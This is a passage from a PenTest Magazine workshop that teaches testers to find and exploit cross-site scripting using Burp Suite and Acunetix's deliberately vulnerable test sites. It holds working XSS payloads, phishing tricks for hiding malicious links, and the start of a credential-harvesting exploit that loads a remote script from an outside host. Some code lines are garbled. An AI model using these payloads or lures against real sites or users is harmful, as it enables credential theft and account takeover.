PenTest XSS

PenTest Magazine | Journey In The World of The XSS
Contents
Journey In The World ofTheXSS 3

Module I 4
Introduction to web application security 4
Hello, I am a Cross Site Scripting attack 4
Javascript/HTML/DOM functionalities useful in XSS attacks. 5
Conclusions 8
Module II 9
How to detect the vulnerabilities used in XSS attacks 9
How to trick the users 19
Write your first XSS exploit 21
Conclusions 25
References 25
Module III 26
Hello, I am a Cross Protocol Scripting attack 26
How to detect the vulnerabilities used in XPS attacks 26
Write the XPS exploit 36
Conclusions 42
Module IV 43
Introduction to XSS Filter 43
XSS Filter Evasion 44
XSS Filter Evasion Vectors 49
Conclusions 50
MODULE II EXERCISES 51
Exercise #1 51
Exercise #2 51
Exercise #3 51
MODULE III EXERCISES 51

Exercise #1 51
Exercise #2 51
MODULE IV EXERCISES 51
Exercise #1 51
Exercise #2 52
PenTest Magazine | Workshop
Journey In The World of The XSS | PenTest Magazine
Journey In The World

ofTheXSS
y the end of this workshop you will be able to detect and exploit XSS vulnerability, understand
the real risk behind this kind of of vulnerability and be able to impress your customers with
awesome Proof of Concept far beyond the classic pop-up.
Francesco Perna
WEEK 1
Introduction to web application security

Introduction toXSSAttacks
Types ofXSS
Causes ofXSS
Risks that result fromXSSattacks
Useful Javascript functions to exploitXSS
Test
WEEK 2
Detect the vulnerabilities that allow you to performXSSattacks

XSSAttack Vectors (HTTPWEB Based)
XSSReflected VS Stored
DOM basedXSS
How to trick users
Write your firstXSSexploit
Test
WEEK 3
Introduction to XPS Attacks (Cross Protocol Scripting)

XPS Attack Vectors
Introduction to scapy
Network Packet manipulation with scapy
Detect the vulnerabilities that allow you to perform XPS attacks
XPS practical example: linksys 0day introduction
Test
WEEK 4
Introduction toXSSFilter evasion

Filter evasion via unusual attack vector
Filter evasion via character encoding
Example of filter evasion
Common tools useful during a pentest to performXSSattacks
Test
Workshop | PenTest Magazine
Module I
n my experience most of the Customers tend to consider the Cross Site Scripting a minor
threat, especially when the vulnerabilities reside in the default pages. Often also the security
professionals consider this kind of attack only an item to fill the reports, losing sight of the
opportunities given by a successful exploitation of vulnerabilities that lead to XSS attacks. During
the workshop series I will show you, from pentesters point of view, how to take advantage of XSS
attacks in order to let your customer understand the real risk behind this kind of attack. In the first
module ofthe workshop series, I will cover the more theoretical aspects related to the basis of web
application security and XSS attacks.
Introduction to web application security

Web application security is a really wide topic that spread from technologies related issues to
processes related issues. In brief, web application security consists of a series of procedures, good
practices and effective countermeasures, adopted by organizations, programmers and sysadmins
in order to prevent a loss of Confidentiality, Integrity and Availability of a web application and of
the information it manages. Nowadays is fundamental to take care about web application security
because web applications became mission critical: from 70s to late 90s companies ran their business
on dedicated machines located inside the corporate network and accessed only through specialized
client software and\or hardware, now they expose their critical system through a web interface
accessible by standard protocols (HTTP/HTTPS) and common clients (web browsers). In a typical
multi tier application the attack surface could be represented as the following:
Presentation tier: this tier represents the set of functionalities used to present the information to the
end-user. Elements of the attack surface for this layer are for example the HTML, the Javascript
code, the Java applet, the Flash applications, etc. Usually an attack to this layer targets the end
user and exploit the trust relationship among user and web application components. The classical
attack carried out through this layer is the Cross Site Scripting and the workshop will cover this
particular kind of attack;
Logic tier: this tier implements the business logic of the web application. Elements of the attack
surface for this layer are for example the functionalities that accepts user input that are poorly
implemented. The attacks to this layer targets the web application itself or the user data managed
by the web application through the vulnerable functionalities;
Data Tier: this tier often is the most important one because it keeps the data valuable for the
business. Elements of the attack surface for this layer are for example store procedures and
generally the functionalities implemented to store and retrieve the information. The attacks to this
layer targets the information managed by the web application.
Threat agents caught this opportunity moving their way to attack a company from sophisticated
network attacks to more reliable web attacks. One of the reasons that leads a threat agent to attack
aweb application, is that it offers multiple layers susceptible to several classes of attack.
Hello, I am a Cross Site Scripting attack

Cross Site Scripting attacks allow a threat agent to inject arbitrary malicious script in a vulnerable
web application. This kind of attack is possible when the web application does not validate and does
not neutralize, or does not properly neutralizes, the user supplied input before it is used inside a web
page that is served back to the user issuing the request, or to other users visiting the web site that
hosts the vulnerable web application. Depending on a variety of factors such as the kind of XSS, the
user browser, the mitigation taken in place to defeat XSS and the other flaws that can be combined
with an XSS, this kind of attack could lead for example to:

Web application user impersonation: a user falls victim of a XSS attack, for example via spear
phising, and the threat agent is able to obtain the authenticated session cookie on the vulnerable
web application;
Full web application users account compromission: very similiar to the previous example except
the threat agent is able to obtain the information related to the user account (eg. username
andpassword);
Bypass of the protection mechanism(eg. authentication and authorization);
Access to reserved web application data;
Execution of unauthorized code within the web browser: a threat agent is able, for example, to log
all the keystrokes within the windows where the code was injected;
Victims computer compromission(when XSS is combined with other flaws like a user browser
buffer overflow vulnerability);
Compromission of the Server hosting the vulnerable website(when XSS is combined with other
flaws) [5].
The XSS attacks, especially the ones conducted in the non persistent form, are often initiated through
a spear phishing campaign: the victim user receive a phishing email, usually enhanced by appearing
to come from a known or trusted entity, able to exploit the vulnerability directly or by redirecting the
victim to a scam site which exploit the vulnerability (once the user interact with the malicious web
page). Surprisingly also nowadays this kind of attack vector is very efficient: according to the study
of ThreatSim called The inevitability of the click, reported in the Verizon Data Breach Investigations
Report 2013, in a targeted spear phishing campaign you need to send 28 emails in order to be sure
that at least a user click on the malicious link (and this occur within 12 hours of the phishing e-mail
being sent!). Another great vector to spread malicious link is represented by social networks because,
surprisingly, companies allow their employees to surf at the same time both on social networks that on
the internal mission critical application. There are three main kind of XSS:
Reflected XSS: this kind of attack occurs when user input is immediately returned by a web
application in a response that includes the input provided by the user within the request, without
that user data being properly validated and neutralized, and without permanently storing the
user provided data. This kind of attack can be delivered using any http method (GET, POST, etc.)
that echoes back user provided data. Reflected XSS are not permanent, this mean in brief that
if a victim leave the browser or reloads the vulnerable page the injected payload is not further
included in the response;
Persistent XSS: this kind of attack is similar to the Reflected XSS except for the persistence
of the malicious payload: the user input not properly validated and neutralized is stored, for
example, inside the database and after the storage will always be included in the web application
responses. Other than inside the database, there are a number of ways to store a payload, for
example it can be stored inside a malicious svg file on the web server filesystem or inside the
browser local db (HTML5 only);
DOM Based XSS: this kind of attack is slightly different from the others because, although the
concept of the injection remains the same, the involved parties in the injection process are
different: in the first two cases the malicious payload is echoed back by the server in this case the
injection flow never leave the browser context.
The code used to perform an XSS attack is usually written using HTML/JavaScript but any other
browser-supported technology can serve the scope of a threat agent. The HTML tags commonly used
as vector for XSS attack are for example<script>,<img>and<iframe>but many others serve
the same purpose. Usually the attack payload is obfuscated, encrypted or encoded to make less
suspicious the malicious request. With the adoption of the HTML5 technology by more popular web
browsers, the number of attack vectors available to a threat agent in order to perform an XSS attack
has significantly increased, making XSS attacks even more dangerous [6].
Javascript/HTML/DOM functionalities useful in XSS attacks.

In the following paragraph well list and analyze the functionalities that will later be used in the Proof
of Concepts contained in the subsequent workshop modules. All the PoC and the examples have
been developed and tested on Mozilla Firefox browser. The concepts are expected to be valid on any
other platform but the code may require some minor change. The first functionality I want to introduce
is about the browsers history manipulation. Tricking a user into filling some html form presented by
a web page residing on a long strange-looking URL, is not as easy as it used to be. Fortunately the
DOM window object provide a way to access the browsers history. In order to access the history

you can use the methods and the properties exposed through the history object. A method that
seem designed exactly for exploiting this kind of vulnerabilities is the replaceState() method.
Fromthe mozilla documentation [7]:
replaceState() is particularly useful when you want to update the state object or URL of the current
history entry in response to some user action.
In other words, if after an XSS you have the URL bar appearing like:
http://www.vulnco.com/myapp/default/p.php?p=<script>[xss payload goes here]</script>
using the window.history.replaceState() method, you can manipulate the URL to appear like:
http://www.vulnco.com/myapp/login.php
or whatever you are able to imagine. The only limitation using this interface is in the replacement
scope: you can change everything except the origin, the new URL must be of the same origin as the
current URL, obviously for security reasons.
The methods interface is the following:
window.history.replaceState(state object, title, URL);
state object: for PoC purpose this object could be a bogus value such as a string. If you are
interested in better understanding this object please refer to [7];
title: for PoC purpose this object could be a bogus value since Firefox ignores this parameter;
URL: the new URL to display on the URL bar.
USAGE EXAMPLE
HISTORY_STATE = ;
HISTORY_TITLE = ;
HISTORY_LOCATION = /myapp/login.php;
window.history.replaceState(HISTORY_STATE, HISTORY_TITLE, HISTORY_LOCATION);
The best way to trick a user into filling certain HTML form is to present it in a familiar way. Presenting
the same page the user is willing to click (i.e.: a page he knows, and he usually interacts with)
with some run-time modification is the best way to do that, in my opinion. This can be done using
the object XMLHttpRequest[8] and some string manipulation functionalities. XMLHttpRequest is a
JavaScript object used to retrieve data from an URL without having to do a full page refresh. This
object can be used to retrieve any type of data and supports a variety of protocols including http
and ftp. For PoC purpose you need to use a very few methods and events of the XMLHttpRequest
object. In order to use this object for PoC purpose first of all you have to set the properevent in order
to handle the actions on the retrieved data. This can be done setting the event onreadystatechange
with a javascript function. Then you have to initialize the object with the necessary information to
retrieve the data using the open() method and finally you can send the request using the send()
method.The methods interface is the following:
void open(DOMString method, DOMString url, optional boolean async, optional DOMString
user, optional DOMString password);
method: the HTTP method to use, such as GET or POST;

url: the URL to send the request to;
optional parameter are not described since them are not used in the PoC. If you are interested
tobetter understand how the object works please refer to [8]; void send();
USAGE EXAMPLE
try {
xmlHttpRequest = new XMLHttpRequest();
} catch (e) {
alert(XMLHttpRequest not available :();

}
function fillPage(){
}
xmlHttpRequest.onreadystatechange = fillPage;
xmlHttpRequest.open(GET, TARGET_URL); xmlHttpRequest.send(null);
Regarding the strings manipulation functionalities, in JavaScript they are implemented by the String
object. The methods used during the PoC are basically the ones used to concatenate, replace pieces
of string with others, identify substrings and tokens inside a string. The methods interfaces well use
in the PoC are the following:
String string.concat(stringx, , stringz)[9]
stringx, , stringz: the strings to be joined
String string.replace(searchvalue,newvalue)[10]
search value: the value, or regular expression, that will be replaced by the new value;
newvalue: the value to replace the searchvalue with.
String string.substring(start,end)[11]
start: the position where to start the extraction. First character is at index 0;
end: the position where to end the extraction.
Number string.indexOf(searchvalue,start)[12]
searchvalue: the string to search for;
start: at which position to start the search (optional parameter)
During an XSS attack you may have to access and rewrite the DOM content using the DOM interface.
Its possible to do that using the following functions
NodeList document.getElementsByTagName(tagname)[13]
tagname: the tagname of the elements you want to get.
Element document.getElementById(elementID)[14]
elementID: the ID attributes value of the element you want to get.
Element document.createElement(nodename)[15]
nodename: the name of the element you want to create.
Node node.appendChild(node)[16]
node: the node object you want to append.
Node document.removeChild(node)[17]
node: node object you want to remove.
USAGE EXAMPLE TO REPLACE BODY CONTENT
var h3Section = document.createElement(h3);
var bodySection = document.getElementsByTagName(body)[0];
h3Section.innerHTML = Loading ;
bodySection.parentNode.removeChild(bodySection);
document.body = document.createElement(body);
document.body.appendChild(h3Section);

USAGE EXAMPLE TO SET A SPECIFIC ELEMENTID
document.getElementById(txt).value = hello;
NOTE
You can write the content inside the document also by using the RAW functionality exposed by the
function document.write(). I will going deeper into this topic during the next modules.
Sometimes you also need to encode the attack payload in order to avoid the character escaping
issues and to try to evade anti-xss filters. Javascript provides this functionality through the
unescape() function. This function was deprecated from Javascript 1.5 and was replaced with
decodeURI() or decodeURIComponent(), anyway we can use it since the browser supports it.
Another way to achieve the same results is through the use of the function String.fromCharCode().
String unescape(string)[18]
string: the string to be decoded
String String.fromCharCode(charx, , charz)[19]
charx, , charz:one or more Unicode values to be converted
USAGE EXAMPLE
value = unescape(%3c%73%63%70%74%3e); value = String.fromCharCode(88, 83, 83);
Conclusions
The first module gives you the basics to understand and exploit the vulnerabilities that leads to XSS
attacks. In the next modules i will show you how to put everything together in order to exploit a real
life vulnerability with a PoC that goes far beyond the classic alert() popup window.
References
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/96.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://blogs.apache.org/infra/entry/apache_org_04_09_2010
https://html5sec.org/
https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history
https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
http://www.w3schools.com/jsref/jsref_concat_string.asp
http://www.w3schools.com/jsref/jsref_replace.asp
http://www.w3schools.com/jsref/jsref_substring.asp
http://www.w3schools.com/jsref/jsref_indexof.asp
http://www.w3schools.com/jsref/met_document_getelementsbytagname.asp
http://www.w3schools.com/jsref/met_document_getelementbyid.asp
http://www.w3schools.com/jsref/met_document_createelement.asp
http://www.w3schools.com/jsref/met_node_appendchild.asp
http://www.w3schools.com/jsref/met_node_removechild.asp
http://www.w3schools.com/jsref/jsref_unescape.asp
http://www.w3schools.com/jsref/jsref_fromcharcode.asp
Module II
n the first module of this workshop series I have introduced the key concepts of the XSS attacks,
in this module I am going to illustrate how to detect and exploit the vulnerabilities behind this kind
of attacks and how to make a Proof of Concept that can make your customers understand the
risks they are exposed to. During the workshop I will show how to use the burp suite and other tools
in order to detect and exploit the vulnerabilities. Feel free to use the tools you know best in order
toapply these techniques during your work.
How to detect the vulnerabilities used in XSS attacks

To detect the vulnerabilities that lead to XSS attacks during a penetration test, it is common to use
aweb application scanner (burp suite, acunetix, skipfish, arachni and zap being the most used tools
to accomplish this task). During the workshop I will not cover this topic because in my opinion you
should be able to manually detect this kind of vulnerabilities. During the workshop I will use an on-line
vulnerable web application[1] in order to show both the detection and exploitation phases.
One of the most useful tool that I am going to show you during the workshop is the Burp! suite[2]:
Burp! suite is an integrated platform for performing security testing of web applications which includes
several modules that are useful during a penetration test. In the next phases i will show you how to
configure and use the following modules of the Burp! suite:
Intercepting Proxy: this module allows you to inspect and modify traffic between your browser and
the target application;
Web Application Spider: the module responsible of crawling static and dynamic content;
Repeater: this module allows you to manipulate and resend individual requests.
In order to detect Web Application vulnerabilities and thus discover the bugs behind XSS attacks,
firstof all you have to setup your browser in order to intercept the requests it makes via the Burp!
suite. To do this you have to modify the proxy settings of your browser (I am going to use Firefox

during this workshop). Assuming that the Burp! suite is listening on 127.0.0.1:8080, the browser
settings are shown in Figure 1.
Figure 1. Firefox Proxy Settings
Once you have configured the web browser you have to configure the Burp! suite. The default settings
should be ok and the proxy configuration tab should appear as shown in Figure 2.
10
Figure 2.
If the Burp! suite proxy module does not appear as shown in Figure 2 you have to configure it by
adding an entry or by modifying an existing entry. If you dont have any entry, you can use the add
button to add one and then the module will appear. Figure 3 shows how to add a new proxy listener.
Ifyou already have one or more entries, select an entry to edit and configure it as shown above.
Figure 3. Burp! suite add proxy listener
Once the proxy has been set up you have to enable the interception mode to start interception
ofrequests made by the web browser. Figure 4 shows how to enable the interception mode.
11
Figure 4. Burp! suite add proxy listener
Now you are ready to start with the web application security analysis. The classes of XSS attacks
Iwant to illustrate in this paragraph, are the ones based on GET and POST requests. I am going
to use a vulnerable web application provided by Acunetix [3] in order to test the web application
scanner and to show the discussed techniques. First we have to map the web application in order
todiscover the insertion points; i.e. where the application expects input from the end user. To do
thatjust send a request to the web site root node using the web browser, and send it to the spider
asshown in Figure5. Note: The first time you launch the web application spider tool on a URL using
the Burp Suite, a pop up will warn you that your targets list does not contain the URL sent and it asks
you if you want to add it to the targets list, do not panic and click ok.
Figure 5. Burp! suite send a request to spider
Once the spider has finished his work you can check the results in the site-map. By selecting the site
name in the left pane, you will see in the right pane all the detected pages with the relevant details
including the HTTP method used to invoke the web page and the parameters used during the page
invocations. The site-map should look like the Figure 6.
12
Figure 6. Burp! suite site map
The sitemap should be carefully analyzed and we should test all the scripts that accept input
parameters in order to spot the vulnerabilities that can lead to xss attacks. In order to demonstrate
how to detect a vulnerability accessible through HTTP GET requests I am going to analyze the script
/listproducts.php. As shown in the site-map, one of the parameters accepted by the script is named
artist; by manipulating this parameter we may be well able to inject arbitrary HTML\Script in the
resulting page. Burp! suite offers several different ways to manipulate a request. In this case I am
going to show you how to use the repeater tool to manipulate a request coming from a sitemap entry.
Figure 7 shows how to invoke the repeater starting from a sitemap entry.
Figure 7. Burp! suite send a request to repeater from site map
Using the standard configuration of the repeater tool window, on the left side you have the request
you want to manipulate and on the right side you have the server response. The view arrangement
could be different but the labels Request and Response should help you to figure out what is
going on your Burp! suite. To test whether the page is vulnerable or not, I usually inject an arbitrary
string containing html characters (eg. angle brackets), for example the string <pentestmag>. By
supplying the string <pentestmag> as a value for the artist parameter, we expect to find the pattern
inside the server response in case of a vulnerable page. The request should look like the following:
GET /listproducts.php?artist=<pentestmag> HTTP/1.1Host: testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
13
Referer: http://testphp.vulnweb.com/artists.php?artist=1
Figure 8 shows how to manipulate, and send, the request to the server.
Figure 8. Burp! suite repeat a request

If nothing goes wrong, in the resulting page you should be able to see the pattern <pentestmag>.
As you can see the injection is pretty straightforward and at first sight no check is done on the input
string. Also, no encoding is applied to the string on the resulting page. By repeating the request and
injecting a different string, this time a javascript expression like <script>alert(pentestmag);</script>,
we can check whether the vulnerability leads to XSS attacks. This time the request should look like
the following:
GET /listproducts.php?artist=<script>alert(pentestmag);</script> HTTP/1.1Host:
testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://testphp.vulnweb.com/artists.php?artist=1
By repeating the modified request as shown before you should be able to see the unmodified payload
in the response page as shown below:
<div id=content>
Error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near =<script>alert(pentestmag);</
script> at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/
var/www/listproducts.php on line 74
</div>
You have just spotted a vulnerability that lead to reflected (non persistent) xss attacks. The basic PoC
of the vulnerability that everyone can figure out can be done by just pointing your web browser to the
specially crafted URL (you can check the request with the Burp! proxy) http://testphp.vulnweb.
com/listproducts.php?artist=<script>alert(pentestmag);</script> and by observing the
injected javascript code being executed. Figure 9 shows the javascript code executed by the web browser.
14
Figure 9. Injected Javascript code executed by Web Browser
Video 1 shows the whole process. The above example relies upon an http request made with the GET
method. Obviously you can also spot this kind of vulnerability if the requests are made with POST
method using the same detection process. Assume we want to test the PHP script named comment.
php accessible from the page artists.php. This time Im going to show you how to modify a request
from the proxy interface. First of all ensure that the interception mode of the proxy is enabled,
then just fill the form and observe the request in the proxy window. Figure 10 shows the web page
rendered in the browser and Figure 11 shows the intercepted request in the proxy window. As you
can see, once the request is submitted through the repeater, you can see a message like Francesco,
thank you for your comment. is displayed on the resulting page. So, in this case we can focus on the
parameter name and check whether the page is vulnerable or not.
Figure 10. Web page rendered in the browser
15
Figure 11. Intercepted request in the proxy window.
Figure 12. Resulting page in repeater
Also this time, by supplying the string <pentestmag> as a value for the name parameter in the
repeated request, we expect to find the pattern inside the server response in case of a vulnerable
page. The request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B

Figure 13 shows the server response which includes the pattern <pentestmag> free from any form
ofencoding.
Figure 13. Resulting page with unmodified pattern
As shown for the first class of vulnerability, by repeating the request and by injecting a javascript
expression like <script>alert(pentestmag);</script>, we can check whether we are able to execute
arbitrary code. This time the request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B
You should be able to see the unmodified payload in the response page as shown below
<body>
<p class=story><script>alert(pentestmag);</script>, thank you for your comment.</
p><p class=story><i></p></i></body>
As shown in the resulting page, we spotted another vulnerability. By repeating the request directly from
the web browser we can have the casting out nines. Figure 14, shows the code executed in the browser.
16
Figure 14. Injected Javascript code executed by Web Browser
A brief note, some of you may have noticed that the code is injected also inside the page title but
isnot executed by the web browser. Try to figure out by yourself how to get the code executed also
inthe first injection point too.

The vulnerabilities shown so far rely on the lacks of validation, encoding and neutralization by server
side components. DOM XSS are a completely different story as the vulnerabilities reside inside the
client side components (eg. inline functions, external javascript libraries, etc.). The detection approach
is completely different and may vary from an application to another. I am going to use a vulnerable
web application provided by Acunetix [4] to show off some techniques used to detect this kind
ofvulnerabilities.
Few words about the detection process. The detection process of vulnerabilities that lead to DOM
based XSS is similar to the process used during the code review phase, basically you have to analyze
the JavaScript code (generally speaking dynamic client-side code) in order to figure out if some bad
design pattern can be abused in order to deliver an attack.
Just like it happens during the code review phase, the process may be started by identifying
the sources (starting points where untrusted input data is taken by an application) and sink (the
points inthe flow where data depending from sources is used in a potentially dangerous way).
Somecommon sources[5] that are useful when dealing with vulnerabilities that lead to DOM-XSS
arethe following:
Location, Document URL, URL
document.URL, document.documentURI, location, location.href, location.search, location.hash;

Referrer
document.referrer;
Window Name
window.name;
Some common sink[6] useful when dealing with vulnerabilities that lead to DOM-XSS are the following:
17
Execution Sink
eval, setTimeout, setInterval;

HTML Element Sink
document.write, document.writeIn, innerHTML, outerHTML;

Set Location Sink
location, location.href:
As stated before, the detection process starts by searching a candidate source that allows a DOMXSS attack. By digging in the javascript code I came across the following lines of code in the
javascript file named post.js:
117 var hrf=window.location.href.toLowerCase();
118 if (hrf !=http://www.facebook.com/)
119 document.write(<div class=fb-comments data-num-posts=4 data-width=470
data-href=+window.location.href+></div>)
120
At line 117 you can see a candidate source, window.location.href which returns the URL of the current
page. The user supplied data is assigned without any form of validation and encoding to the variable
hrf just to check, at line 118, if the current URL is not http://www.facebook.com. If we pass this
check, then at line 119 we meet our sink point.

By analyzing the main page of the website we can notice that the script is always executed, so in
order to trigger the vulnerability we have to manipulate the URL and try to execute arbitrary javascript
code. Since we are dealing with the DOM, we cannot use the Burp! suite to analyze the vulnerability.
I used to work with Firebug but the developers tools shipped along with other browsers may as well
serve for the purpose. In order to verify what we are indeed inspecting the javascript source code we
can proceed by setting a breakpoint on the document.write sink in the Firebug script debugger. Figure
15 shows the breakpoint set.
Figure 15. Breakpoint setted in javascript debugger
Following the debugger configuration, we have to insert an URL, for example http://testhtml5.
vulnweb.com/?<pentestmag> and watch what happens at runtime. Figure 16 shows the DOM
property window.location.href once the breakpoint has been caught. As you can see the property
value is http://testhtml5.vulnweb.com/?%3Cpentestmag%3E and it does not look good due to the
encoding used.
18
Figure 16. Href property at runtime
Figure 17. Html code written by the javascript code
So, our input is not shown the way we expected. Lets try to inject the usual ><script> alert(1);
</script>. Note the leading quotation marks and the bracket as they serve to close the <div> tag at
the beginning, just before our <script> tag. Figure 18 shows the results of the javascript execution.
In Figure 17 you can see the result of javascript execution.
Figure 18. Href value after javascript execution
What goes wrong? Nothing, Firefox encodes all the requests so this kind of vulnerability can not be
exploited on the Firefox web browser.
Does this mean that the code is not vulnerable? Absolutely not.
In fact, when the same code is evaluated by another web browser, things may very well be different.
By accessing this URL http://testhtml5.vulnweb.com/?><script>alert(1);</script> using Internet
Explorer, youre going to effectively see that we were able to inject, and execute, arbitrary code.
Figure19, shows the code executed in the browser.
19
Figure 19. href property at runtime
DOM XSS are pretty nasty and they are not always easy to detect. In real life you have to deal with
encoded or minified version of javascript. In addition to your skill, a good scanner can help you spot
this kind of vulnerabilities.
How to trick the users

A study named The inevitability of the click reported in the Data Breach Investigations Report (DBIR)
released by Verizon effectively suggests how users are prone to be tricked. Prone to be tricked does
not necessarily mean that users are completely dumb and that they dont consider, for example, the
anomalies in their e-mail communications or in the rendering of the web pages. Nowadays the users, or
at least the users Ive met during my work, are well aware about the risk deriving from a wrong click so it
is hard to carry on an XSS attack without taking care of all the details, even the less significant to us.
Lets start with the first tip. Usually an XSS attack starts with a malicious email containing the link
used to exploit the vulnerability. Often the mail are not well formatted and the user is discouraged
to click anywhere on the mail. Moreover, if the user try to inspect the link by hovering the mouse
on it, the exploit string would seem suspicious to the user and the link would not be clicked. In my
experience, an email composed only by a single image and an innocent link to a web page hosting
the real exploit is enough to trick the user into clicking the email. As a side effect of this, most of the

perimetral antivirus and antispam systems do not recognize the email as a threat how to kill two
birds with one stone.
An HTML email template could be the follow
1 <html>2 <head><title>Sometitle</title></head>
3 <body>
4 <center>
5 <a href=http://somesite.it><img src=data:image/gif;base64,R0/></a>
6 </center>
7 </body>
8 </html>
Note that the image is embedded, so the mail client will not annoy the user telling that for security
reasons the remote content will not be shown.
The second tip regards the web pages on the site that hosts the xss exploit. If a link contains
directly the exploit string, the user would notice it just by hovering with the mouse on it. Figure 19
shows what happen with a link that embeds directly the exploit string.
Figure 20. Exploit string disclosed to the user
To avoid this you can take advantage of DOM and javascript properties: in brief you can make a link
appear in a way and once the click event is fired you can change the link destination. The following
code does the magic.
20
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4 <script>
5 function gotoUrl(elementId){
6 var xssVector = unescape(%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e%76
%75%6c%6e%77%65%62%2e%63%6f%6d
%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%3f%61%72%74%69%73%74%3d%3c%73%63%
72%69%70%74%3e%61%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%
63%72%69%70%74%3e);
7 var elementA = document.getElementById(elementId);
8 elementA.removeAttribute(href);
9 elementA.setAttribute(href, xssVector);
10 }
11 </script>
12
13 <a id=link1 href=http://testphp.vulnweb.com onclick=javascript:gotoUrl(link1);
>Click Me</a>
14 </body>
15 </html>
Instead of the classic link format it is possible to change the link behaviour through the javascript
function named gotoUrl(). The function takes as argument the element id of the link and simply
replaces the href attribute stated in the html tag declaration with the content of the variable named
xssVector. The content of the variable xssVector is the string http://testphp.vulnweb.com/
listproducts.php?artist=<script>alert(pentestmag);</script>, our attack payload used in the first
example I showed. In this case the string was encoded just to take it easy and avoid the special
characters escaping. The above example is designed to issue GET request. If the XSS resides inside
a POST request the same example would need some modifications although the basic concept

remains the same. When you have to deal with XSS in POST request you have to include a form
similar to the one used in the vulnerable site in your page and then manipulate the vulnerable
parameters using the Javascript code. The following example shows just how to do that.
1 <html>
3 <body>
4
>Click Me</a>
6
7 <form id=forma action=http://testphp.vulnweb.com/comment.php method=post
enctype=application/x-www-form-urlencoded>
8 <input type=hidden name=name id=name value=>
9 <input type=hidden name=comment id=comment value=Nice></textarea>
10 <input type=hidden name=Submit value=Submit>
11 <input type=hidden name=phpaction value=echo $_POST[comment];>
12 </form>
13
14 <script>
18 document.getElementById(name).value = unescape(%3c%73%63%72%69%70%74%3e%61
%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%63%72%69%70%74%3e);
19 document.getElementById(forma).submit();
20 }
21 </script>
22
23 </body>
24 </html>
21
By following these basic tips, in addition to some pretty graphics layout (possibly alike the one used
in the vulnerable website), you will probably trick most of the users victim of your attack during
apenetration test.
Write your first XSS exploit

It can be useful to trigger the execution of an arbitrary pop-up as to demonstrate that a vulnerability
that lead to XSS attack exists in a web application, but it is rather useless from a pentester point of
view because you cannot gain any advantage from it. However you can leverage an XSS by writing
an exploit that can be useful during a penetration test activity, for example by collecting the user
credentials once submitted through the login form. Consider the following scenario: the website
http://testphp.vulnweb.com exposes a login form on the page login.php. This page does not suffer
of vulnerabilities that lead to xss attack thus, to reach our goal and collect the users credentials, we
need to exploit the vulnerability identified on the page listproducts.php.The idea behind the exploit is
quite simple: once the user falls victim of our attack, the injected code will clear the current page, load
the page with the modified login form and, when the form is submitted, it will execute some actions.
The first step is to modify the XSS landing page in order to load a custom script instead of
prompting an alert() by modifying the content of the variable named xssVector. The variable will
contain the following string: http://testphp.vulnweb.com/listproducts.php?artist=<script
src=http://192.168.204.2/ptmag.js></script>. The page can be modified as follow:
1 <html>
3 <body>
4 <script>
6 var xssVector = unescape(%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e
%76%75%6c%6e%77%65%62%2e%63%6f%6d%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%
3f%61%72%74%69%73%74%3d%3c %73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%

31%39%32%2e%31%36%38%2e%32%30%34%2e%32%2f%70%74%6d%61%67%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e);
9 elementA.setAttribute(href, xssVector);
10 }
11 </script>
12
>Click Me</a>
14 </body>
